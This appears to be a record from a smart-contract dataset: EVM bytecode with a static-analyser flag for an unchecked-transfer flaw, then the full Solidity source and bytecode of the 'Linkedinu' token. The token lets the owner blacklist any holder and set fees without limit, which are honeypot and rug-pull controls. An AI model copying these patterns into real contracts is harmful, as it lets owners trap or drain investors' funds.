0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806380e9071b1161007157806380e9071b1461012f578063831f4df1146101375780638da5cb5b1461015b578063a6c41fec14610163578063a6dd4c661461016b578063f2fde38b146101a3576100a9565b80631794bb3c146100ae578063392e53cd146100e65780633ccfd60b14610102578063454b06081461010a578063715018a614610127575b600080fd5b6100e4600480360360608110156100c457600080fd5b506001600160a01b038135811691602081013590911690604001356101c9565b005b6100ee6102c0565b604080519115158252519081900360200190f35b6100e46102d0565b6100e46004803603602081101561012057600080fd5b5035610470565b6100e46106e7565b6100e461077e565b61013f61089d565b604080516001600160a01b039092168252519081900360200190f35b61013f6108ac565b61013f6108bb565b6101916004803603602081101561018157600080fd5b50356001600160a01b03166108ca565b60408051918252519081900360200190f35b6100e4600480360360208110156101b957600080fd5b50356001600160a01b03166108dc565b6000546001600160a01b03163314610216576040805162461bcd60e51b81526020600482018190526024820152600080516020610a51833981519152604482015290519081900360640190fd5b600354600160a01b900460ff161561026b576040805162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b604482015290519081900360640190fd5b600280546001600160a01b038086166001600160a01b03199283161790925560038054928516929091169190911790556102a543826109c9565b60015550506003805460ff60a01b1916600160a01b17905550565b600354600160a01b900460ff1681565b6000546001600160a01b0316331461031d576040805162461bcd60e51b81526020600482018190526024820152600080516020610a51833981519152604482015290519081900360640190fd5b6001544311610373576040805162461bcd60e51b815260206004820152601e60248201527f7377617070696e67206f6620614f484d20686173206e6f7420656e6465640000604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156103be57600080fd5b505afa1580156103d2573d6000803e3d6000fd5b505050506040513d60208110156103e857600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561044157600080fd5b505af1158015610455573d6000803e3d6000fd5b505050506040513d602081101561046b57600080fd5b505050565b600354600160a01b900460ff166104c0576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600354604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561050a57600080fd5b505afa15801561051e573d6000803e3d6000fd5b505050506040513d602081101561053457600080fd5b50511015610589576040805162461bcd60e51b815260206004820152601960248201527f616d6f756e742061626f766520757365722062616c616e636500000000000000604482015290519081900360640190fd5b60015443106105df576040805162461bcd60e51b815260206004820152601a60248201527f7377617070696e67206f6620614f484d2068617320656e646564000000000000604482015290519081900360640190fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561063957600080fd5b505af115801561064d573d6000803e3d6000fd5b505050506040513d602081101561066357600080fd5b50503360009081526004602052604090205461067f90826109c9565b33600081815260046020818152604080842095909555600254855163a9059cbb60e01b8152928301949094526024820186905293516001600160a01b039093169363a9059cbb9360448084019492939192918390030190829087803b15801561044157600080fd5b6000546001600160a01b03163314610734576040805162461bcd60e51b81526020600482018190526024820152600080516020610a51833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600460205260409020546107df576040805162461bcd60e51b815260206004820152601c60248201527f7573657220686173206e6f20614f484d20746f20776974686472617700000000604482015290519081900360640190fd5b6001544311610835576040805162461bcd60e51b815260206004820152601a60248201527f614f484d2073776170206973207374696c6c206f6e676f696e67000000000000604482015290519081900360640190fd5b336000818152600460208181526040808420805490859055600354825163a9059cbb60e01b81529485019690965260248401819052905190946001600160a01b03169363a9059cbb936044808201949392918390030190829087803b15801561044157600080fd5b6003546001600160a01b031681565b6000546001600160a01b031690565b6002546001600160a01b031681565b60046020526000908152604090205481565b6000546001600160a01b03163314610929576040805162461bcd60e51b81526020600482018190526024820152600080516020610a51833981519152604482015290519081900360640190fd5b6001600160a01b03811661096e5760405162461bcd60e51b8152600401808060200182810382526026815260200180610a2b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015610a23576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220604c60d51b4debabd3cfa8efae03eb03065ba4ae7406d82cf79debfc02a7370564736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,889
0x8c517fec7e600e0e3b48b2df893feb09a9d039eb
/* SPDX-License-Identifier: Unlicensed https://t.me/linkedinu https://t.me/linkedinu https://t.me/linkedinu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Linkedinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Linkedinu"; string private constant _symbol = "Linkedinu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 33; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xAc5201Dd71d1621572cB1140D25a23dc721f1913); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function newPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636d8aa8f81161010d578063881dce60116100a0578063a9059cbb1161006f578063a9059cbb14610564578063c552849014610584578063dd62ed3e146105a4578063ea1644d5146105ea578063f2fde38b1461060a57600080fd5b8063881dce60146105105780638da5cb5b146105305780638f9a55c01461054e57806395d89b41146101fe57600080fd5b806374010ece116100dc57806374010ece146104af578063790ca413146104cf5780637c519ffb146104e55780637d1db4a5146104fa57600080fd5b80636d8aa8f8146104455780636fc3eaec1461046557806370a082311461047a578063715018a61461049a57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d05780634bf2c7c9146103f05780634f6a05c2146104105780635d098b381461042557600080fd5b80632fd689e31461035e578063313ce5671461037457806333251a0b1461039057806338eea22d146103b057600080fd5b806318160ddd116101c157806318160ddd146102e057806323b872dd1461030657806327c8f8351461032657806328bb665a1461033c57600080fd5b806306fdde03146101fe578063095ea7b31461023f5780630f3a325f1461026f5780631694505e146102a857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201825260098152684c696e6b6564696e7560b81b602082015290516102369190611c9e565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611d18565b61062a565b6040519015158152602001610236565b34801561027b57600080fd5b5061025f61028a366004611d44565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b457600080fd5b506016546102c8906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102ec57600080fd5b50683635c9adc5dea000005b604051908152602001610236565b34801561031257600080fd5b5061025f610321366004611d61565b610641565b34801561033257600080fd5b506102c861dead81565b34801561034857600080fd5b5061035c610357366004611db8565b6106aa565b005b34801561036a57600080fd5b506102f8601a5481565b34801561038057600080fd5b5060405160098152602001610236565b34801561039c57600080fd5b5061035c6103ab366004611d44565b610749565b3480156103bc57600080fd5b5061035c6103cb366004611e7d565b6107b8565b3480156103dc57600080fd5b506017546102c8906001600160a01b031681565b3480156103fc57600080fd5b5061035c61040b366004611e9f565b6107ed565b34801561041c57600080fd5b5061035c61081c565b34801561043157600080fd5b5061035c610440366004611d44565b610a01565b34801561045157600080fd5b5061035c610460366004611eb8565b610a5b565b34801561047157600080fd5b5061035c610aa3565b34801561048657600080fd5b506102f8610495366004611d44565b610acd565b3480156104a657600080fd5b5061035c610aef565b3480156104bb57600080fd5b5061035c6104ca366004611e9f565b610b63565b3480156104db57600080fd5b506102f8600a5481565b3480156104f157600080fd5b5061035c610b92565b34801561050657600080fd5b506102f860185481565b34801561051c57600080fd5b5061035c61052b366004611e9f565b610bec565b34801561053c57600080fd5b506000546001600160a01b03166102c8565b34801561055a57600080fd5b506102f860195481565b34801561057057600080fd5b5061025f61057f366004611d18565b610c68565b34801561059057600080fd5b5061035c61059f366004611e7d565b610c75565b3480156105b057600080fd5b506102f86105bf366004611eda565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061035c610605366004611e9f565b610caa565b34801561061657600080fd5b5061035c610625366004611d44565b610cd9565b6000610637338484610dc3565b5060015b92915050565b600061064e848484610ee7565b6106a0843361069b856040518060600160405280602881526020016120b5602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611541565b610dc3565b5060019392505050565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016106d490611f13565b60405180910390fd5b60005b81518110156107455760016009600084848151811061070157610701611f48565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073d81611f74565b9150506106e0565b5050565b6000546001600160a01b031633146107735760405162461bcd60e51b81526004016106d490611f13565b6001600160a01b03811660009081526009602052604090205460ff16156107b5576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016106d490611f13565b600b91909155600d55565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016106d490611f13565b601155565b6000546001600160a01b031633146108465760405162461bcd60e51b81526004016106d490611f13565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156108a657600080fd5b505afa1580156108ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108de9190611f8f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092657600080fd5b505afa15801561093a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095e9190611f8f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a657600080fd5b505af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611f8f565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6015546001600160a01b0316336001600160a01b031614610a2157600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610a855760405162461bcd60e51b81526004016106d490611f13565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b031614610ac357600080fd5b476107b58161157b565b6001600160a01b03811660009081526002602052604081205461063b906115b5565b6000546001600160a01b03163314610b195760405162461bcd60e51b81526004016106d490611f13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b8d5760405162461bcd60e51b81526004016106d490611f13565b601855565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016106d490611f13565b601754600160a01b900460ff1615610bd357600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610c0c57600080fd5b610c1530610acd565b8111158015610c245750600081115b610c5f5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106d4565b6107b581611639565b6000610637338484610ee7565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b81526004016106d490611f13565b600c91909155600e55565b6000546001600160a01b03163314610cd45760405162461bcd60e51b81526004016106d490611f13565b601955565b6000546001600160a01b03163314610d035760405162461bcd60e51b81526004016106d490611f13565b6001600160a01b038116610d685760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d4565b6001600160a01b038216610e865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d4565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f4b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d4565b6001600160a01b038216610fad5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d4565b6000811161100f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d4565b6001600160a01b03821660009081526009602052604090205460ff16156110485760405162461bcd60e51b81526004016106d490611fac565b6001600160a01b03831660009081526009602052604090205460ff16156110815760405162461bcd60e51b81526004016106d490611fac565b3360009081526009602052604090205460ff16156110b15760405162461bcd60e51b81526004016106d490611fac565b6000546001600160a01b038481169116148015906110dd57506000546001600160a01b03838116911614155b156113eb57601754600160a01b900460ff1661113b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106d4565b6017546001600160a01b03838116911614801561116657506016546001600160a01b03848116911614155b15611218576001600160a01b038216301480159061118d57506001600160a01b0383163014155b80156111a757506015546001600160a01b03838116911614155b80156111c157506015546001600160a01b03848116911614155b15611218576018548111156112185760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d4565b6017546001600160a01b0383811691161480159061124457506015546001600160a01b03838116911614155b801561125957506001600160a01b0382163014155b801561127057506001600160a01b03821661dead14155b156112e5576019548161128284610acd565b61128c9190611fd3565b106112e55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106d4565b60006112f030610acd565b601a54909150811180801561130f5750601754600160a81b900460ff16155b801561132957506017546001600160a01b03868116911614155b801561133e5750601754600160b01b900460ff165b801561136357506001600160a01b03851660009081526006602052604090205460ff16155b801561138857506001600160a01b03841660009081526006602052604090205460ff16155b156113e857601154600090156113c3576113b860646113b2601154866117c290919063ffffffff16565b90611841565b90506113c381611883565b6113d56113d08285611feb565b611639565b4780156113e5576113e54761157b565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061142d57506001600160a01b03831660009081526006602052604090205460ff165b8061145f57506017546001600160a01b0385811691161480159061145f57506017546001600160a01b03848116911614155b1561146c5750600061152f565b6017546001600160a01b03858116911614801561149757506016546001600160a01b03848116911614155b156114f2576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114f2576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561151d57506016546001600160a01b03858116911614155b1561152f57600d54600f55600e546010555b61153b84848484611890565b50505050565b600081848411156115655760405162461bcd60e51b81526004016106d49190611c9e565b5060006115728486611feb565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610745573d6000803e3d6000fd5b600060075482111561161c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d4565b60006116266118c4565b90506116328382611841565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061168157611681611f48565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116d557600080fd5b505afa1580156116e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170d9190611f8f565b8160018151811061172057611720611f48565b6001600160a01b0392831660209182029290920101526016546117469130911684610dc3565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061177f908590600090869030904290600401612002565b600060405180830381600087803b15801561179957600080fd5b505af11580156117ad573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117d15750600061063b565b60006117dd8385612073565b9050826117ea8583612092565b146116325760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d4565b600061163283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e7565b6107b53061dead83610ee7565b8061189d5761189d611915565b6118a884848461195a565b8061153b5761153b601254600f55601354601055601454601155565b60008060006118d1611a51565b90925090506118e08282611841565b9250505090565b600081836119085760405162461bcd60e51b81526004016106d49190611c9e565b5060006115728486612092565b600f541580156119255750601054155b80156119315750601154155b1561193857565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061196c87611a93565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061199e9087611af0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119cd9086611b32565b6001600160a01b0389166000908152600260205260409020556119ef81611b91565b6119f98483611bdb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a3e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611a6d8282611841565b821015611a8a57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611ab08a600f54601054611bff565b9250925092506000611ac06118c4565b90506000806000611ad38e878787611c4e565b919e509c509a509598509396509194505050505091939550919395565b600061163283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611541565b600080611b3f8385611fd3565b9050838110156116325760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d4565b6000611b9b6118c4565b90506000611ba983836117c2565b30600090815260026020526040902054909150611bc69082611b32565b30600090815260026020526040902055505050565b600754611be89083611af0565b600755600854611bf89082611b32565b6008555050565b6000808080611c1360646113b289896117c2565b90506000611c2660646113b28a896117c2565b90506000611c3e82611c388b86611af0565b90611af0565b9